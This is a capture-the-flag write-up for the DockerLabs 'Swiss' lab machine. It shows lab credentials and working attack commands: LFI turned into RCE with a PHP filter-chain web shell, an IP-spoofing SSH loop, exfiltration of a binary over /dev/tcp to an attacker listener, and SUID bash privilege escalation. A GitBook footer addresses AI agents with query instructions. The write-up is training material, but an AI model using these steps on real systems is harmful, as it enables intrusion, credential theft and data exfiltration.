> For the complete documentation index, see [llms.txt](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/swiss-dockerlabs-writeup.md).

# Swiss (DockerLabs) - Writeup

## 📌 Overview

**Machine:** Swiss\
**Difficulty:** Intermediate\
**Category:** Web Application → LFI → RCE → Network Restriction Bypass → Binary Analysis → Privilege Escalation

## 🎯 Objective

Compromise the system by:

* Exploiting web vulnerabilities
* Gaining remote command execution
* Extracting credentials
* Bypassing network restrictions
* Performing lateral movement
* Escalating privileges to root

## 🧠 Technical Summary

This machine demonstrates a **multi-layered attack chain** involving:

* Local File Inclusion (LFI)
* PHP filter chain exploitation
* Credential exposure
* Network-based access control bypass
* Reverse engineering of binaries
* Traffic interception
* Encoding/decoding techniques
* SUID privilege escalation

## 🔗 Cyber Kill Chain Mapping

| Phase                 | Execution                   |
| --------------------- | --------------------------- |
| Reconnaissance        | Nmap scan                   |
| Enumeration           | Gobuster + Wfuzz            |
| Exploitation          | LFI + PHP filter chain      |
| Credential Access     | credentials.txt             |
| Lateral Movement      | SSH (IP restriction bypass) |
| Command & Control     | Binary traffic interception |
| Actions on Objectives | Privilege escalation        |

## 🔍 1. Reconnaissance

#### From Kali Linux

```bash
sudo nmap -p- --open -sV -vvvv -n -Pn 172.17.0.2 -oG allPorts
```

#### Results:

* **22/tcp → OpenSSH 9.6**
* **80/tcp → Apache 2.4.58**

👉 This confirms a **Linux web server exposed attack surface**.

## 🌐 2. Web Enumeration

```bash
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,js,txt
```

#### Discovered:

* `/index.php`
* `/images`
* `/scripts`

👉 Indicates a **custom PHP-based application**.

## 🧪 3. LFI Discovery

```bash
wfuzz -u "http://172.17.0.2/index.php?FUZZ=/etc/hosts" \
-w /usr/share/seclists/... --hl=447
```

#### Result:

* Parameter discovered → **`file`**

#### 📌 Vulnerability

```
http://172.17.0.2/index.php?file=/etc/hosts
```

✔ Local File Inclusion confirmed.

## 💣 4. LFI → RCE via PHP Filter Chain

Instead of just reading files, we escalate LFI into RCE.

#### Generate payload:

```bash
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
```

#### Inject:

```
http://172.17.0.2/index.php?file=<FILTER_CHAIN>&cmd=whoami
```

✔ Achieved **Remote Code Execution**

#### ⚙️ Why This Works

* PHP allows `php://filter`
* Filters perform encoding/decoding transformations
* Payload survives filtering and executes as PHP code

👉 This is an **encoding + filter evasion technique**

## 📥 5. Credential Discovery (credentials.txt)

Due to unstable shell, file was downloaded manually:

```bash
curl -s 'http://172.17.0.2/credentials.txt' --output result
```

#### 🔥 Critical Finding

```php
echo "... tus nuevas credenciales ssh son: darks:_dkvndsqwcdfef34445 ..."
```

✔ Credentials obtained:

* **User:** darks
* **Password:** \_dkvndsqwcdfef34445

#### ⚠️ Important Observation

The code also reveals:

```php
shell_exec($_REQUEST['cmd'])
```

👉 Confirms server-side command execution

## 🚧 6. Network Restriction Bypass

The system explicitly states:

> Access is restricted to a specific IP range

#### 🧠 Problem

Even with valid credentials → SSH fails due to IP filtering.

#### 🛠️ Solution: Interface IP Spoofing

Custom brute-force script:

```bash
for host in {1..254}; do
    ip="172.17.0.$host"

    sshpass -p '_dkvndsqwcdfef34445' ssh darks@172.17.0.2 \
    "export ip=$ip; bash"

    if [ $? -ne 0 ]; then
        ip a del $ip/16 dev docker0
        ip a add 172.17.0.$((host+1))/16 dev docker0
    else
        echo "Valid IP: $ip"
        break
    fi
done
```

#### ✅ Valid IP Found

```
172.17.0.151
```

✔ SSH access granted.

## 🔐 7. SSH Access (darks)

```bash
ssh darks@172.17.0.2
```

## 📁 8. Binary Discovery

Path:

```bash
/var/www/sendinv2
```

***

## 📤 9. Binary Exfiltration

#### Attacker:

```bash
nc -lvp 7878 > sendinv2
```

#### Victim:

```bash
cat /var/www/sendinv2 > /dev/tcp/172.17.0.151/7878
```

## 🔬 10. Reverse Engineering

Using Ghidra:

#### Findings:

* Sends data to:
  * **IP:** 172.17.0.188
  * **Port:** 7777
* Encoded payload embedded in binary

## 🌐 11. Traffic Interception

#### Change IP:

```bash
sudo ip a add 172.17.0.188/16 dev docker0
```

#### Listener:

```bash
nc -lvnp 7777
```

## 📡 12. Captured Data

Encoded string:

```
MFDTS42ZKNCWOYZSHF2GEM2NM5NFO53H...
```

Repeated multiple times.

## 🔓 13. Decoding

Using CyberChef:

#### Steps:

1. Base32 decode
2. Base64 decode

#### 🎯 Output

```
hola! somos el grupo BlackCat...
cristal:dropchostop453SJF
```

✔ New credentials:

* **User:** cristal
* **Password:** dropchostop453SJF

## 🔐 14. SSH Access (cristal)

```bash
ssh cristal@172.17.0.2
```

✔ Access successful

## 📁 15. Privilege Escalation Vector

```bash
ls -lha
```

#### Files:

* `syst` (binary)
* `systm.c`
* `systm.sh`

## 🔥 16. Exploiting SUID / Custom Binary

Original code logs system info.

#### 🧨 Modification

```c
system("cp /bin/bash /home/cristal/bash");
system("chmod u+s /home/cristal/bash");
```

***

#### ⚙️ Result

Creates SUID root bash.

## 🚀 17. Privilege Escalation

```bash
./bash -p
whoami
```

#### Output:

```
root
```

## 👑 Root Access Achieved

```bash
cd /root
```

## 🧠 Deep Technical Analysis

#### 🔸 LFI → RCE

* File inclusion abused
* PHP filters enable code execution

#### 🔸 Encoding & Evasion

* Payload survives filters
* Base32 + Base64 hides data

#### 🔸 Network Security Failure

* IP-based restriction is weak
* Easily bypassed via interface manipulation

#### 🔸 Binary Analysis

* Hidden C2-like behavior
* Hardcoded encoded payload

#### 🔸 Privilege Escalation

* Custom binary abuse
* SUID misconfiguration

## 📌 Final Conclusion

Swiss is a **complete real-world attack simulation** combining:

* Web exploitation
* Encoding/evasion
* Network bypass
* Reverse engineering
* Privilege escalation

## 🔥 Key Takeaways

* LFI can escalate to full RCE
* Encoding is critical in bypassing filters
* Network restrictions ≠ security
* Reverse engineering reveals hidden attack paths
* Misconfigured binaries = root compromise


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/swiss-dockerlabs-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.